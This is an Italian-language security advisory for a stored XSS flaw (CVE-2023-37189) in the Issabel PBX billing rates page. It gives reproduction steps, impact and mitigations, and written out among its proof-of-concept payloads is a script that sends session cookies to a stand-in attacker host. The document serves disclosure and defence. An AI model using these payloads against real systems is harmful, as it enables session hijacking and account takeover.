CVE-2023-37189 — Issabel PBX 4.0.0-6 Cross-Site Scripting (XSS) Memorizzato

Panoramica

Descrizione

Una vulnerabilità di Cross-Site Scripting (XSS) Memorizzato è presente in Issabel PBX versione 4.0.0-6 nella pagina di gestione delle tariffe di fatturazione (index.php?menu=billing_rates).

Issabel PBX è una piattaforma open-source di Unified Communications ampiamente utilizzata, costruita su FreePBX/Asterisk. La sua funzionalità Billing → Rates consente agli amministratori di definire voci di tariffazione delle chiamate con un Name e un Prefix personalizzati. A causa di una sanitizzazione degli input e di una codifica dell'output insufficienti, un utente autenticato può iniettare HTML o JavaScript arbitrario in entrambi i campi. Lo script dannoso viene quindi memorizzato in modo persistente nel database dell'applicazione e eseguito automaticamente nel browser di qualsiasi utente che successivamente visiti la pagina delle tariffe — inclusi altri amministratori — senza alcuna interazione aggiuntiva.

Questa classe di vulnerabilità è particolarmente pericolosa nei pannelli di amministrazione perché:

• Può essere utilizzata per rubare i cookie di sessione di altri amministratori, portando alla compromissione totale dell'account.
• Abilita attacchi di phishing modificando l'aspetto della pagina mostrata alle vittime.
• Può facilitare il furto di token CSRF, il keylogging o il reindirizzamento verso siti dannosi.
• Il payload persiste finché non viene esplicitamente rimosso, il che significa che può colpire un numero illimitato di vittime nel tempo.

Dettagli della Vulnerabilità

• Classe di Vulnerabilità: Cross-Site Scripting (XSS) Memorizzato (Persistente) (CWE-79)
• Vettore di Attacco: Rete
• Autenticazione Richiesta: Sì (utente autenticato con privilegi bassi o account amministratore)
• Interazione dell'Utente: Richiesta (la vittima deve visitare la pagina delle tariffe di fatturazione)
• Scope: Modificato (l'attaccante può compromettere le sessioni del browser di altri utenti)
• Causa Principale: Mancata codifica HTML / sanitizzazione dell'output sui campi Name e Prefix quando i valori memorizzati vengono visualizzati nella pagina.

Prova di Concetto

I seguenti payload, inseriti nel campo Name o Prefix del modulo Create New Rate, dimostrano la vulnerabilità:

Alert di base (verifica di funzionalità):

<script>alert('XSS')</script>

Furto di cookie di sessione (sostituisci attacker.example.com con un server di tua proprietà e autorizzato all'uso — non prendere mai di mira utenti o sistemi reali):

<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

Payload basato su immagine con onerror (bypass WAF):

⚠️ Nota: Questi payload sono forniti esclusivamente a scopo educativo e di ricerca sulla sicurezza. Ottieni sempre un'adeguata autorizzazione scritta prima di effettuare test su qualsiasi sistema che non possiedi.

Passaggi per Riprodurre

1. Accedi all'interfaccia web di Issabel PBX utilizzando un account amministratore.

2. Vai su Reports → Billing → Rates (URL: index.php?menu=billing_rates).

3. Fai clic su "Create New Rate" e inserisci un payload XSS appositamente creato nel campo Prefix o Name.

   

4. Fai clic su Save. Il payload viene ora memorizzato nel database.

5. Qualsiasi utente (inclusi altri amministratori) che visiti la pagina delle tariffe di fatturazione vedrà lo script eseguito automaticamente nel proprio browser.

   

   

Impatto

• Dirottamento della Sessione: Gli attaccanti possono rubare i cookie di sessione e impersonare altri utenti o amministratori.
• Escalation dei Privilegi: Dirottando la sessione di un amministratore, un attaccante con privilegi inferiori può ottenere il pieno controllo amministrativo.
• Esfiltrazione dei Dati: Le informazioni sensibili visibili nella pagina possono essere esfiltrate silenziosamente.
• Backdoor Persistente: Il payload rimane attivo finché non viene rimosso manualmente, rendendo questa una minaccia persistente.

Mitigazione / Rimedio

Si consiglia al venditore e agli amministratori di sistema di applicare le seguenti contromisure:

1. Codifica dell'Output: Applica una codifica HTML sensibile al contesto quando i valori memorizzati vengono visualizzati nella pagina HTML (ad es., usa htmlspecialchars() in PHP con ENT_QUOTES). Questa è la difesa primaria e più affidabile contro XSS.
2. Validazione dell'Input: Come misura secondaria di difesa in profondità, rifiuta o sanitizza sul lato server l'input fornito dall'utente. Rimuovi o codifica i caratteri speciali HTML (<, >, ", ', &) prima di memorizzare i dati. Nota che la sola validazione dell'input può essere aggirata e non dovrebbe essere considerata come unico controllo.
3. Content Security Policy (CSP): Implementa un header HTTP Content-Security-Policy rigoroso per limitare l'esecuzione di script inline.
4. Web Application Firewall (WAF): Utilizza un WAF con regole di rilevamento XSS come misura di difesa in profondità.
5. Audit di Sicurezza Periodici: Esegui revisioni del codice e test di penetrazione periodici su tutti i campi di input controllati dall'utente.

Riferimenti

• NVD – CVE-2023-37189
• MITRE CVE – CVE-2023-37189
• OWASP: Cross-Site Scripting (XSS)
• CWE-79: Improper Neutralization of Input During Web Page Generation
• Issabel PBX – Official Website
• IssabelFoundation/issabelPBX – GitHub

Disclaimer

Questo repository e le informazioni in esso contenute sono forniti esclusivamente a scopo educativo e di ricerca sulla sicurezza. L'autore non è responsabile di qualsiasi uso improprio o danno causato dalle informazioni fornite. Ottieni sempre esplicita autorizzazione scritta dal proprietario del sistema prima di condurre qualsiasi test di sicurezza.

Scoperta e segnalata da Sahil Ojha